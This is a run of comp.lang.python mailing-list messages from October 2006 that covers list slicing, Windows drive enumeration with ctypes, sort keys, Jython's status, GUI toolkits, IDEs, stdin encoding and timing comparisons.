len(s). If i is omitted or None, use 0. If j is omitted or None, use
len(s). If i is greater than or equal to j, the slice is empty.

i can't follow (3) very well.
for example:k = [1,2,3,4,5]
k[-1:2]=[]
k[-5:2]=[1,2]
but k[-6:2] = [1,2]
why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by
plusing len(k) twice.But the result is not what i expect.why,or did i
misunderstand the rule of (3).



From rtw at freenet.co.uk  Mon Oct  9 10:22:29 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 09 Oct 2006 09:22:29 -0500
Subject: file system iteration
References: <mailman.119.1160403292.11739.python-list@python.org>
Message-ID: <Xns98579C3239930rtwfreenetREMOVEcouk@216.196.109.145>

Tim Golden wrote in news:mailman.119.1160403292.11739.python-
list at python.org in comp.lang.python:

> [Rick]
>| Searching for a file by name. Scanning for viruses. 
> Etc. 
>| There are lots 
>| of legitimate reason to walk all paths from a centra
> l 
>| starting point, no???
> 
> Well, to get you started, I think this is the kind
> of thing you'll want. Uses ctypes, which is built-in
> to Python 2.5 so presumably legit.
> 
> <code>
> import ctypes
> import string
> 
> GetDriveType = ctypes.windll.kernel32.GetDriveTypeA
> 
> for letter in string.uppercase:
>   print letter, "=>", GetDriveType ("%s:" % letter)
> 
> </code>
> 
> You'll have to refer to 
> 
> http://windowssdk.msdn.microsoft.com/en-us/library/ms685874.aspx
> 
> and various headers to get the values in question, but they
> look quite straightforward at a glance.
> 
These seem to map when tested on my system:

import ctypes

DRIVE_TYPE_MAP = dict( enumerate ( """\
DRIVE_UNKNOWN
DRIVE_NO_ROOT_DIR
DRIVE_REMOVABLE
DRIVE_FIXED
DRIVE_REMOTE
DRIVE_CDROM
DRIVE_RAMDISK 
""".split()
))

## if you need the constants ...
for i, name in DRIVE_TYPE_MAP.iteritems():
  exec( "%s = %d" %( name, i) )

GetDriveTypeW = ctypes.windll.kernel32.GetDriveTypeW
for i in range( ord( 'A' ), 1 + ord('Z') ):
  path = u"%c:\\" % chr( i )
  print path, DRIVE_TYPE_MAP[ GetDriveTypeW( path ) ]

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From ath-admin at vt.edu  Mon Oct  9 10:28:43 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 10:28:43 -0400
Subject: file system iteration
In-Reply-To: <mailman.119.1160403292.11739.python-list@python.org>
References: <mailman.119.1160403292.11739.python-list@python.org>
Message-ID: <egdmjk$6rj$1@solaris.cc.vt.edu>

Tim Golden wrote:
> [Rick]
> | Searching for a file by name. Scanning for viruses. Etc. 
> | There are lots 
> | of legitimate reason to walk all paths from a central 
> | starting point, no???
> 
> Well, to get you started, I think this is the kind
> of thing you'll want. Uses ctypes, which is built-in
> to Python 2.5 so presumably legit.
> 
> <code>
> import ctypes
> import string
> 
> GetDriveType = ctypes.windll.kernel32.GetDriveTypeA
> 
> for letter in string.uppercase:
>   print letter, "=>", GetDriveType ("%s:" % letter)
> 
> </code>

Thanks, I'll give this a try. I appreciate everyone's input.


From rrr at ronadam.com  Wed Oct 18 10:35:58 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 09:35:58 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <1161172108.276347.134020@h48g2000cwc.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08>
	<1161172108.276347.134020@h48g2000cwc.googlegroups.com>
Message-ID: <H0rZg.6693$fl.2477@dukeread08>

georgeryoung at gmail.com wrote:
> 
> On Oct 18, 2:42 am, Ron Adam <r... at ronadam.com> wrote:
>> I put together the following module today and would like some feedback on any
>> obvious problems.  Or even opinions of weather or not it is a good approach.
> ,,,
>      def __call__(self, a, b):
>          """ This allows the Collate class work as a sort key.
> 
>                  USE: list.sort(key=Collate(flags))
>          """
>          return cmp(self.transform(a), self.transform(b))
> 
> You document _call__ as useful for the "key" keyword to sort, but you
> implement it for the "cmp" keyword.  The "key" allows much better
> performance, since it's called only once per value.  Maybe just :
> return self.transform(a)
> 
> -- George
> 


Thanks,  I changed it to the following...



     def __call__(self, a):
         """ This allows the Collate class work as a sort key.

                 USE: list.sort(key=Collate(flags))
         """
         return self.transform(a)



And also changed the sort call here ...


def collate(slist, flags=0):
     """ Collate list of strings in place.
     """
     slist.sort(key=Collate(flags))               <<<


Today I'll do some performance tests to see how much faster it is for moderate 
sized lists.


Cheers,
    Ron






From ray_usenet at yahoo.com  Mon Oct  9 21:48:25 2006
From: ray_usenet at yahoo.com (Ray)
Date: 9 Oct 2006 18:48:25 -0700
Subject: (semi-troll): Is Jython development dead?
In-Reply-To: <1160442232.144014.109470@i42g2000cwa.googlegroups.com>
References: <1160442232.144014.109470@i42g2000cwa.googlegroups.com>
Message-ID: <1160444905.404297.127410@m73g2000cwd.googlegroups.com>


Sloan.Kohler at gmail.com wrote:
> Is Jython development dead or has it just seemed that way for over a
> year?. The jython.org website has a recent new appearance (but no new
> content) and there is some message traffic on the developer site at
> Sourceforge.  However nothing has been released for over a year (i.e.
> no support for Python 2.3, 2.4 or 2.5).  Is seems that IronPython may
> have a better future than Jython.
>
> I know this is a bit of a troll but I'm concerned about choosing Jython
> as the basis for a cross platform test scipt execution environment.

> Does anyone know if a Jython update is imminent?

There was a time when Jython walked like the dead and quacked like the
dead but if you dared calling it dead or asking whether it was really
dead you'd be admonished that it was open source and you should've just
gone to the repository and hack some Jython code. (Or the ever popular
response: that Jython 2.1 works <insert some nice-sounding adjective
here, e.g.: beautifully, perfectly, etc.>, so why bother asking about
2.2 and beyond?).

Also, thankfully, it's picking up again, thanks to Frank Wierzbicki,
et. al.--just check out the jython-dev mailing list, seems that new
bloods are coming in. AFAIK they're trying to get a release for 2.2
ASAP, then from there go to other versions--I think there was even a
talk about jumping versions (e.g.: probably skipping 2.3 or something)
somewhere in the list... I'm not sure how it was concluded though.
Personally after 2.2 is out I think they might as well jump to 2.5
straightaway.

So, what is your main concern here that 2.1 doesn't address? Because if
your concern is that you're using a dead thing as your environment,
it's rising from the dead. But if your concern is that you want to use
features in Python 2.4 in Jython, might as well look for other
solutions--it'll be some time before a version that supports that comes
out.



> 
> - Sloan



From jmcantrell at gmail.com  Fri Oct 20 01:17:23 2006
From: jmcantrell at gmail.com (jmcantrell at gmail.com)
Date: 19 Oct 2006 22:17:23 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <1161321443.206960.207650@i3g2000cwc.googlegroups.com>

wxPython is much more powerful and flexible. I would suggest moving
more in that direction.

On Oct 19, 3:29 pm, Kevin Walzer <k... at kevin-walzer.com> wrote:
> I'm a Tcl/Tk developer who has been working, slowly, at learning Python,
> in part because Python has better support for certain kinds of
> applications that I want to develop than Tcl/Tk does. Naturally, I
> thought that I would use Tkinter as the GUI for these programs. However,
> in doing research into GUI development techniques, sample code, and
> showcase applications, what has struck me is how little sophisticated
> GUI development seems to be done in Tkinter as compared to, say,
> wxPython. I've found plenty of tutorials on how to do basic GUI stuff
> with Tkinter, but that stuff pretty much ends with the core Tk widgets
> (buttons, entry fields, scrollbars, and menu items).
>
> Coming from Tcl/Tk, where there are a huge number of extension packages
> to enhance the Tk widgets and which allow you to make really polished
> GUI's, I'm struck mainly by how little of this stuff has made it over
> into Tkinter/Python. For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them, and very little in the way of
> actual applications making use of them--which is itself a red flag. And
> most of the pure-Python extension stuff that I've found, such as Python
> megawidgets, is pretty dated/ugly and lags far behind the comparable
> stuff on the Tcl side.
>
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?



From waylan at gmail.com  Wed Oct  4 15:06:56 2006
From: waylan at gmail.com (waylan)
Date: 4 Oct 2006 12:06:56 -0700
Subject: Is there an alternative to os.walk?
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
Message-ID: <1159988816.166699.307450@k70g2000cwa.googlegroups.com>

Bruce wrote:
> Hi all,
> I have a question about traversing file systems, and could use some
> help. Because of directories with many files in them, os.walk appears
> to be rather slow. I`m thinking there is a potential for speed-up since
> I don`t need os.walk to report filenames of all the files in every
> directory it visits. Is there some clever way to use os.walk or another
> tool that would provide functionality like os.walk except for the
> listing of the filenames?

You might want to check out the path module [1] (not os.path). The
following is from the docs:

> The method path.walk() returns an iterator which steps recursively
> through a whole directory tree. path.walkdirs() and path.walkfiles()
> are the same, but they yield only the directories and only the files,
> respectively.

Oh, and you can thank Paul Bissex for pointing me to path [2].

[1]: http://www.jorendorff.com/articles/python/path/
[2]: http://e-scribe.com/news/289



From gagsl-py at yahoo.com.ar  Fri Oct  6 21:23:58 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 06 Oct 2006 22:23:58 -0300
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160179043.266322.311940@i3g2000cwc.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061006221854.045bd048@yahoo.com.ar>

At Friday 6/10/2006 20:57, erikcw wrote:

>I ended up using len(sys.argv) > 1 for this particular problem.  But I
>think slicing is closer to the tool I was looking for.
>
>I found a.has_key(k) or "k in a" for dictionaries - but haven't found
>anything similar for lists.  Does it exist?

if 2 in [1,2,3]: print "Use the same (in) operator"
elif 'E' in ('E','r','i','k'): print "Works for any sequence"
elif 'o' in 'hello': print "Even strings"



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From no-spam at no-spam-no-spam.com  Sat Oct 14 09:50:09 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 14 Oct 2006 15:50:09 +0200
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <egqpuj$pth$1@ulysses.news.tiscali.de>

Ahmer wrote:
> What do you guys use?
> Why?
> What do you like and hate about it?
> What platform(s) is it avalable on?
> How much does it cost?
> etc.

On Windows...

I uninstalled Komodo (several times; fat, crashes, slow debugger ...)
I uninstalled Wing
I uninstalled Boa
I uninstalled PythonWorks (does it still exist?)
I uninstalled SPE (nice homework, but bugs and no continuity)
...

I still live with good old Pythonwin coming with the win32all package by 
default.
Its fast, direct, no rubbish, extensible/open source, keys go 
efficiently the way you know from MS / Borland, the joint in-thread 
debugger & interactive is a plus for iteratively evolving python code 
(from scripts to bigger apps) at high speed.

On *nix I didn't invest in learning one.
Maybe eric3 (is there similar confusion as with Boa?)

Generally I'd say: Python is a language so good that at best it IS 
itself the IDE. Tools should be around a main interactive prompt, which 
carries forth life status. This paradigm allows for best tool automation 
(and integration of different tools) and code iteration.
Thus: Python should use the (IDE) tools - And NOT: the IDE uses Python 
(as one is accustomed to in compiler langs)

-robert


From pydecker at gmail.com  Sun Oct 22 20:59:33 2006
From: pydecker at gmail.com (Peter Decker)
Date: Sun, 22 Oct 2006 20:59:33 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161563215.573049.104490@f16g2000cwb.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161444416.749636.172530@i42g2000cwa.googlegroups.com>
	<mailman.908.1161452358.11739.python-list@python.org>
	<1161510017.622766.187460@k70g2000cwa.googlegroups.com>
	<mailman.936.1161523162.11739.python-list@python.org>
	<1161563215.573049.104490@f16g2000cwb.googlegroups.com>
Message-ID: <ca55a9900610221759y59903736s2606339c0fab4d3a@mail.gmail.com>

On 22 Oct 2006 17:26:55 -0700, alex23 <wuwei23 at gmail.com> wrote:

> Can you also tell when you're wrong?
>
> I checked out Wax last week for the first time; I hit a snag and got an
> answer from the lead developer within a day, along with a pointer to
> the latest dev version.
>
> But don't let communication get in the way of that six sense you've got
> going there :)

I've been following Wax for over two years. You can count the number
of new features that have been added to it in that time on one hand.
Hans is a great guy and has written some great stuff, but Wax is but a
small side project of his. I'm sure he'll support it excellently, but
I don't think I would hold my breath waiting for him to him to release
a grid that does, say, 1/10th of what the Dabo grid can do.

-- 

# p.d.


From horpner at yahoo.com  Wed Oct 11 08:21:03 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 11 Oct 2006 14:21:03 +0200
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
	<Xns98585798B4CC5duncanbooth@127.0.0.1>
	<1160541147.208698.252310@e3g2000cwe.googlegroups.com>
Message-ID: <slrneipofg.1uk.horpner@FIAD06.norwich.edu>

On 2006-10-11, Leo Kislov <Leo.Kislov at gmail.com> wrote:
>> Unfortunately, I can't tell you how to make sys.stdin return
>> unicode for use with raw_input. I tried what I thought should
>> work and as you can see it messed up the buffering on stdin.
>> Does anyone else know how to wrap sys.stdin so it returns
>> unicode but is still unbuffered?
>
> Considering that all consoles are ascii based, the following
> should work where python was able to determine terminal
> encoding:
>
> class ustdio(object):
>     def __init__(self, stream):
>         self.stream = stream
>         self.encoding = stream.encoding
>     def readline(self):
>         return self.stream.readline().decode(self.encoding)
>
> sys.stdin = ustdio(sys.stdin)
>
> answer = raw_input()
> print type(answer)

This interesting discussion led me to a weird discovery:

PythonWin 2.4.3 (#69, Apr 11 2006, 15:32:42) [MSC v.1310 32 bit (Intel)] on win32.
Portions Copyright 1994-2004 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information.
>>> import sys
>>> sys.stdout.encoding
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\edconn32\Python24\Lib\site-packages\pythonwin\pywin\mfc\object.py", line 18, in __getattr__
    return getattr(o, attr)
AttributeError: encoding
>>> sys.stdin.encoding
>>> 

I'm all mindboggley. Just when I thought I was starting to
understand how this character encoding stuff works. Are
PythonWin's stdout and stdin implementations is incomplete?

-- 
Neil Cerutti
A song fest was hell at the Methodist church Wednesday. --Church
Bulletin Blooper 


From g.brandl-nospam at gmx.net  Sat Oct 28 16:58:37 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sat, 28 Oct 2006 22:58:37 +0200
Subject: question about True values
In-Reply-To: <ei0fqr$skb$1@chiara.aioe.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org> <ehvba3$vr7$1@news.albasani.net>
	<ei0fqr$skb$1@chiara.aioe.org>
Message-ID: <ei0ga7$nmr$1@news.albasani.net>

J. Clifford Dyer wrote:
> Georg Brandl wrote:
>> J. Clifford Dyer wrote:
>> 
>>>  >>> (1 > 0) < 1
>>> False
>>>  >>> 1 > 0 < 1
>>> True
>>>  >>> 1 > (0 < 1)
>>> False
>>>  >>> 10 > (0 < 1)
>>> True
>> 
>> I hope you know why this works the way it does.
>> 
>> Georg
> 
> Yes, I do understand why it works.  I couldn't have crafted it if I 
> didn't, but my point is that the reason why it works is not explainable 
> if you believe that you are dealing with booleans.

Okay, but you should have left off the second example, because it has nothing
to do with the others.

>  It's only 
> explainable if you recognize that you are actually dealing with 
> integers, and specifically, 1 and 0.  So the something/nothing dichotomy 
> combined with an understanding of what the comparison operation REALLY 
> does (yield a 1 or a 0) helps you understand where your result came 
> from, while thinking in terms of true/false will mislead you.

That's true. The only sensible thing to do, if you had "real" booleans, for
1 > True, would be to raise an exception.

Georg


From ty.2006 at yahoo.com  Mon Oct  2 17:13:00 2006
From: ty.2006 at yahoo.com (T)
Date: 2 Oct 2006 14:13:00 -0700
Subject: License / Registration key enabled software
References: <1158951061.539594.164040@i3g2000cwc.googlegroups.com>
	<pan.2006.09.27.16.51.12.529785@vfx.org.uk>
	<mailman.847.1159402807.10491.python-list@python.org>
	<pan.2006.09.28.12.49.40.745821@vfx.org.uk>
	<slrnehnqv2.ann.sybrenUSE@schuimige.stuvel.eu>
	<mailman.892.1159459686.10491.python-list@python.org>
	<slrnehnuut.bmu.sybrenUSE@schuimige.stuvel.eu>
	<pan.2006.09.28.23.45.23.622848@vfx.org.uk>
Message-ID: <1159823579.917789.121910@c28g2000cwb.googlegroups.com>

Mike Playle wrote:
> The people who want to use your software illegitimately will succeed no
> matter what you do, so you shouldn't worry about them. Worry instead about
> the people who DON'T want to use it illegitimately. Can a license key
> scheme help them? If so, implement it. No trickery is needed - a simple
> comparison will suffice.
>
> Mike

Oh man.  This is going way off topic!!!

I just wanted to know how license / registration key can be implemented
in python.  I was not interested in philosophical discussion of why /
why not one should implement it, whether that business model make
sense, instead using smartcards, etc. etc.

I would like to satisfy technical / intellectual curiosity of how it is
done in python -- so how about returning to the original topic of "How
can license / registration key be implemented in python?"



From cameron.walsh at gmail.com  Thu Oct 26 22:58:20 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 27 Oct 2006 10:58:20 +0800
Subject: Sorting by item_in_another_list
In-Reply-To: <qN2dnUVqnJJngNzYnZ2dnUVZ_v-dnZ2d@comcast.com>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
	<ehpln3$pt9$2@enyo.uwa.edu.au>
	<Q4qdnYEF8YLW9d3YnZ2dnUVZ_r-dnZ2d@comcast.com>
	<7x8xj3cxrl.fsf@ruckus.brouhaha.com>
	<qN2dnUVqnJJngNzYnZ2dnUVZ_v-dnZ2d@comcast.com>
Message-ID: <ehrsjc$lfv$1@enyo.uwa.edu.au>

Steven Bethard wrote:
> 
> As you noted, you'll get an error if you try to concatenate B as a set 
> to the list.
> 
> Steve

Whoops, remind me to check things work before I type them.  In the mean 
time, here are some more interesting timing results:

With a larger data set, 500 elements instead of 100, the times were 
almost the same:

python -m timeit -s "A=range(500); B=range(40,60,2); B_set=set(B)" 
"A=B+list(x for x in A if x not in B_set)"
10000 loops, best of 3: 103 usec per loop

python -m timeit -s "A=range(500); B=range(40,60,2); B_set = set(B)" 
"A.sort(key=B_set.__contains__, reverse=True)"
10000 loops, best of 3: 99.2 usec per loop

But for the last recommended one:

python -m timeit -s "A=range(500); B=range(40,60,2); C = set(A) -set(B)" 
"A=B+filter(C.__contains__, A)"
10000 loops, best of 3: 38.3 usec per loop

Much faster!  But that does not take into account the set creation and 
set difference calculations.  Let's try including that:

python -m timeit -s "A=range(500); B=range(40,60,2)" "C=set(A)-set(B)" 
"a=B+filter(C.__contains__, A)"
10000 loops, best of 3: 105 usec per loop

and compare to our other two versions including set creation:

python -m timeit -s  "A=range(500); B=range(40,60,2)" "B_set = set(B); 
A=B+list(x for x in A if X not in B_set"
10000 loops, best of 3: 105 usec per loop

python -m timeit -s  "A=range(500); B=range(40,60,2)" "B_set = set(B); 
A.sort(key=B_set.__contains__, reverse=True)"
10000 loops, best of 3: 101 usec per loop

Pretty similar again.

However, converting each element to a string first ("A=list(str(x) for x 
in range(500)" etc.), making it more similar to my data, gave:

102usec per loop for the A.sort() method
132usec per loop for the A=B+filter() method
104usec per loop for the A=B+list() method

It is interesting to note the increased time taken by the set 
difference/filter method.  It appears not to like strings as much as 
ints.  We can also shave another 7 usec off the filter time:

python -m timeit -s "A=list(str)x) for x in range(500)); B=list(str(x) 
for x in range(40,60,2)); not_in_B_set=lambda x: x not in B_set" 
"B_set=set(B); A=B+filter(not_in_B_set, A)"
10000 loops, best of 3: 125 usec per loop

In conclusion, it appears I should use the clearest of all the methods, 
since for the data sizes I am dealing with, they are of approximately 
the same speed, and the time taken is negligible anyway.

Thanks for all your help,

Cameron.


From larry.bates at websafe.com  Fri Oct 20 09:41:04 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 20 Oct 2006 08:41:04 -0500
Subject: python module for finite element program
In-Reply-To: <1161304245.341556.304670@f16g2000cwb.googlegroups.com>
References: <1161304245.341556.304670@f16g2000cwb.googlegroups.com>
Message-ID: <4538D1F0.9020801@websafe.com>

ajikoe at gmail.com wrote:
> Hello,
> 
> Is there any add on python modules suitable for finite element 3D mesh
> such as to create (beam, plate, etc) ?
> 
> Best Regards,
> ajikoe
> 

Google is your friend:

http://www.python.org/pycon/papers/pysparse.html
http://sourceforge.net/projects/feval/
http://www.code-aster.org/ (French site)
http://www.icivilengineer.com/Open_Source/
http://adsabs.harvard.edu/abs/2000APS..DPPHP1088P

-Larry


From paddy3118 at netscape.net  Fri Oct  6 15:21:51 2006
From: paddy3118 at netscape.net (Paddy)
Date: 6 Oct 2006 12:21:51 -0700
Subject: help on pickle tool
In-Reply-To: <1160162029.929742.144420@i42g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160162029.929742.144420@i42g2000cwa.googlegroups.com>
Message-ID: <1160162511.140501.295840@c28g2000cwb.googlegroups.com>


Paddy wrote:
> hanumizzle wrote:
> > On 5 Oct 2006 22:25:58 -0700, Paddy <paddy3118 at netscape.net> wrote:
> >
> > > You might try picking the data with a different pickle formatter that
> > > your Java can use. Maybe an XML pickler
> > > (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE
> > > untested by me).
> > > You might also use a JSON/YAML pickler. JSON is now a subset of YAML:
>
> >
> > Why a subset?
>
> I was referring to comments ike:
>   http://redhanded.hobix.com/inspect/yamlIsJson.html
>
> http://redhanded.hobix.com/inspect/jsonCloserToYamlButNoCigarThanksAlotWhitespace.html
>
> Happy coding - Paddy.

Oh, and this might also be of use:

http://www-128.ibm.com/developerworks/web/library/x-matters46/index.html

- Pad.



From bignose+hates-spam at benfinney.id.au  Sat Oct 28 04:56:33 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 18:56:33 +1000
Subject: Need help (Basic python)...what did I do wrong?
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
Message-ID: <87slh8byym.fsf@benfinney.id.au>

"frankie_85" <steveadi at gmail.com> writes:

> I just made a simple code which is part of my assignment

You may want to review the restrictions your educational institution
has on collusion.

> a function that takes one floating point number x as its argument
> and returns (the square root of the absolute value of x) plus (5
> times x cubed).
>
> and read 5 floating point values from the user into a list then
> apply the function to each value in the list and print the results
> in reverse order.
>
> --------------------------------------------------------------------------------------------
> import math
>
> print "Enter 5 values:"
> a = float(raw_input())
> b = float(raw_input())
> c = float(raw_input())
> d = float(raw_input())
> e = float(raw_input())

This reads five values, but assigns five separate names to them. You
will want to review your course notes on Python to find out what a
'list' is.

> it always gives me these error messages:
>
> Traceback (most recent call last):
>   File "/Users/x/Documents/test3.py", line 25, in <module>
>     funct(a, b, c, d, e)
>   File "/Users/x/Documents/test3.py", line 11, in funct
>     a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
> TypeError: 'int' object is not callable
>
> What did I do wrong? Please help me

The error message is telling you that you have "called" an integer
('int') object. Integer objects don't support being called like
functions.

The syntax for "calling" an object is:

    foo(something, something_else)

Look at the line of code reported in the error, and you'll find an
integer object being called in that fashion. You'll need to rewrite it
so it does what you're actually trying to do.

Again, please make sure you work on these problems yourself; your
assessment should not be testing your ability to ask on the internet
for assistance.

-- 
 \       "All good things are cheap; all bad are very dear."  -- Henry |
  `\                                                     David Thoreau |
_o__)                                                                  |
Ben Finney



From gagsl-py at yahoo.com.ar  Mon Oct 30 20:34:27 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 30 Oct 2006 22:34:27 -0300
Subject: Python windows interactive.
In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
	<45467205.3000302@websafe.com>
	<1162253732.035128.91060@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061030222642.04aaad80@yahoo.com.ar>

At Monday 30/10/2006 21:15, notejam wrote:

>Thanks everyone for the help.   I got a simple two line program to work
>from a text file.
>Can not figure out how to write more than one line in interpreter mode.
>  Is that all interpreter is good for, testing one liners?  I have it
>run the program everytime I hit return, and can not figure out how to
>enter multiple lines of code.  I can do multiple lines in text file, so
>no problem, but I am jsut wondering can a program with 2 or more lines
>be wrote from the interpreter mode?

The command-line interpreter (python.exe), in interactive mode, is 
just for testing purposes: one or two lines or code.
You could write your program in a file (using notepad by example), 
save it with filename.py, and run it using: python filename.py
There are some integrated environments for working in python. IDLE 
already comes with your Python installation. For Windows you can get 
PythonWin <http://sourceforge.net/projects/pywin32/>


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From rasmussen.bryan at gmail.com  Wed Oct 11 04:03:10 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Wed, 11 Oct 2006 10:03:10 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <004501c6ecf0$430a6a20$03000080@hendrik>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org> <004501c6ecf0$430a6a20$03000080@hendrik>
Message-ID: <3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com>

I believe they are reputed to have a sense of humor.

Cheers,
Bryan Rasmussen

On 10/11/06, Hendrik van Rooyen <mail at microcorp.co.za> wrote:
> "Steve Holden" <steve at holdenweb.com> wrote:
>
> 8<----------------------------------------------------------------
> > ....... It's well-known among Brits that Americans don't
> > understand irony. They can be pretty oblique when it come to sarcasms
> > too, for that matter.
>
> *ducks to avoid the nuclear fall out*
>
> You should not do that Steve - they have no Sense of Humour either....
>
> - Hendrik
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From python.list at tim.thechases.com  Sat Oct  7 17:48:49 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 07 Oct 2006 16:48:49 -0500
Subject: operator overloading + - / * = etc...
In-Reply-To: <slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <452820C1.5020607@tim.thechases.com>

>> Can these operators be overloaded?
> 
> Yes.

With the caveat of the "=" mentioned in the subject-line (being 
different from "==")...I haven't found any way to override 
assignment in the general case.  There might be some oddball way 
to do it via property() but AFAIK, this only applies to 
properties of objects, not top-level names/variables.  I'd love 
to know if there's some workaround for this though...

-tkc





From johnjsal at NOSPAMgmail.com  Wed Oct 25 14:17:24 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 18:17:24 GMT
Subject: cleaner way to write this?
Message-ID: <USN%g.148$1n3.4086@news.tufts.edu>

Hi guys. I'm looking for a nicer, more compact way of writing this code. 
It doesn't have to be anything fancy, just something without the 
duplication and preferably only one return statement.

     def create_db_name(self):
         dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
                                  'Create New Database')
         if dlg.ShowModal() == wx.ID_OK:
             db_name = dlg.GetValue()
             dlg.Destroy()
             return db_name
         else:
             dlg.Destroy()
             return

One problem is that if "Cancel" is pressed, I can't return anything. 
Another problem is that the dialog must be destroyed, so that has to 
come before any return statements.

Thanks.


From paddy3118 at netscape.net  Fri Oct 13 12:29:16 2006
From: paddy3118 at netscape.net (Paddy)
Date: 13 Oct 2006 09:29:16 -0700
Subject: Loops Control with Python
In-Reply-To: <i3PXg.27310$Go3.12251@dukeread05>
References: <mailman.446.1160749325.11739.python-list@python.org>
	<1160755760.629942.130200@m73g2000cwd.googlegroups.com>
	<i3PXg.27310$Go3.12251@dukeread05>
